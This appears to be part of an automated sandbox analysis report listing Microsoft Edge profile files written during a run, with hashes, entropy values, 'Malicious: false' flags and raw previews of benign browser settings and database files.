Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ef92d219-1da2-4ce9-8447-fe401b9db28c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.053939291573519337
Encrypted:	false
SSDEEP:	6:GtStutExStutEnR9XCChslotGLNl0ml/Vl/XoQXEl:MtEPtEnLpEjVl/PvoQ
MD5:	15416349E06A5E6EE499F8D737973EB1
SHA1:	3C4A275C791AB3D593932E03D6DD550C50C2DAC1
SHA-256:	9F1E5548CF1A7826DE4C8710EEFBE92D7CEB283FF7D291EC52B1F9FE8D0E1951
SHA-512:	74448B58A1648723BB0F299F9A22988BBFBFD3D24DD3F76758A8E6E94901245BF7560618337FF314F272FCF6726276AC5A7B0DDEF2AD3CCB05559C40C08FD984
Malicious:	false
Preview:	..-............................4..}...38a`.....-............................4..}...38a`...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	86552
Entropy (8bit):	0.8705723958840931
Encrypted:	false
SSDEEP:	48:ywXzx8I/02TlO+scbX+on9VAKAFXX+hV2VAKAFXX+n8xOqVAKAFXX+vqnUYVAKAC:jjx7/02b2dNshTNsOO5NsvlNsEDm
MD5:	B80FCEF77915786B537CECBC9713A333
SHA1:	6EF976E9DC480B0D41A61012405265505FF06DC3
SHA-256:	7C4285C23E46DF41412CDEC9EF6786F42D7F856887CFEA6E297728178EBA2EBF
SHA-512:	53AC3BCE3A3ACF9344888522FFDB9F56D0988CC6402A1588A02A6094DD236CF4919CAE76D69A12E65A472A1368C1096F37E63F98E618D281F0B5A184EDDE02F9
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2335107723215195
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuu0QU8S:iDs5
MD5:	AC819F9E43A60AA3FF8D64B92BF71A04
SHA1:	EA7C84D7B29A2B6DCBC838606F93071D003F1313
SHA-256:	3F465D80FB9D3B8AB034D29EA7209AF97A649FEAB251B5327C1A0C6647FE4294
SHA-512:	2C795BADB233C41D9DD7CDD5EF7AF0CFE60C6E10BE861FB2E938631E9DD825E62B84831F59A9087E137A10C33DB748CACF8B25B44A7DBAF50ED3F4B6E26B9119
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................f.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.220055679323032
Encrypted:	false
SSDEEP:	6:HK1Flyq2P923oH+TcwtfrK+IFUt8YK1Fz1Zmw+YK1FlRkwO923oH+TcwtfrUeLJ:Glyv4Yeb23FUt8vZ/+vlR5LYeb3J
MD5:	B98177EE803A7F218910551F440CD216
SHA1:	EBB48FE92BA0D3E7A08D1FC517EB2D1F2331F51D
SHA-256:	E88B57A2F89E5CD65B9DE323B5B0580C71441398F7C78037CEE54D7BC785072A
SHA-512:	EB7C61188F9E5D8F3F39334C8C2BE4B80825D67AE2A392AF012A2B67DAE5C6342688428B858E526AA2256C4447B948FE6621C4D9CA41A382F3BDEED0DBD6A286
Malicious:	false
Preview:	2024/11/28-00:48:20.735 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-00:48:20.735 1c74 Recovering log #3.2024/11/28-00:48:20.735 1c74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.220055679323032
Encrypted:	false
SSDEEP:	6:HK1Flyq2P923oH+TcwtfrK+IFUt8YK1Fz1Zmw+YK1FlRkwO923oH+TcwtfrUeLJ:Glyv4Yeb23FUt8vZ/+vlR5LYeb3J
MD5:	B98177EE803A7F218910551F440CD216
SHA1:	EBB48FE92BA0D3E7A08D1FC517EB2D1F2331F51D
SHA-256:	E88B57A2F89E5CD65B9DE323B5B0580C71441398F7C78037CEE54D7BC785072A
SHA-512:	EB7C61188F9E5D8F3F39334C8C2BE4B80825D67AE2A392AF012A2B67DAE5C6342688428B858E526AA2256C4447B948FE6621C4D9CA41A382F3BDEED0DBD6A286
Malicious:	false
Preview:	2024/11/28-00:48:20.735 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-00:48:20.735 1c74 Recovering log #3.2024/11/28-00:48:20.735 1c74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.177143958805223
Encrypted:	false
SSDEEP:	6:HKfpyq2P923oH+TcwtfrzAdIFUt8YKUz1Zmw+YKUlRkwO923oH+TcwtfrzILJ:uyv4Yeb9FUt8I/+IR5LYeb2J
MD5:	38A263B834E058A89631F0371D1E5F11
SHA1:	16DFB48DAA9503A81F94CFC147A8CA4F9C49546B
SHA-256:	F6A48B4317CFEEE9749EB4A8677C9FCD4169474F5C4A3785CF808F4818AF2818
SHA-512:	A5D037DC1C67B594FEEA97358F502A928394E462D67E9FCA3DF99C14B4015B4D8DABC1E53E5FBD6C2030346CC526D91FCBB1695CF78EFF52E10F96833D3EBBB4
Malicious:	false
Preview:	2024/11/28-00:48:20.731 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-00:48:20.732 1c74 Recovering log #3.2024/11/28-00:48:20.732 1c74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.177143958805223
Encrypted:	false
SSDEEP:	6:HKfpyq2P923oH+TcwtfrzAdIFUt8YKUz1Zmw+YKUlRkwO923oH+TcwtfrzILJ:uyv4Yeb9FUt8I/+IR5LYeb2J
MD5:	38A263B834E058A89631F0371D1E5F11
SHA1:	16DFB48DAA9503A81F94CFC147A8CA4F9C49546B
SHA-256:	F6A48B4317CFEEE9749EB4A8677C9FCD4169474F5C4A3785CF808F4818AF2818
SHA-512:	A5D037DC1C67B594FEEA97358F502A928394E462D67E9FCA3DF99C14B4015B4D8DABC1E53E5FBD6C2030346CC526D91FCBB1695CF78EFF52E10F96833D3EBBB4
Malicious:	false
Preview:	2024/11/28-00:48:20.731 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-00:48:20.732 1c74 Recovering log #3.2024/11/28-00:48:20.732 1c74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF372d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3761b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39cfc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF486ff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+5tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE668tbz8hu3VlXr4CRo1
MD5:	23E13CF6996D0D0EBDB38CC6C08F9379
SHA1:	5D091611D85CB763B1E0794D75A8718BA85ADB02
SHA-256:	78A226599213C14CE5F03736424360EDD517FD2F8DD318F569446119CC396716
SHA-512:	F5F5C16E0C1CB411601C8D9969336690F3A20A77E894CD957A4CFA25A04BC393C7846F3CDC431616860B9E09A169EA1110AE8F5B7CDEACFC034D7DFFA49AED31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e943.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090752379150862
Encrypted:	false
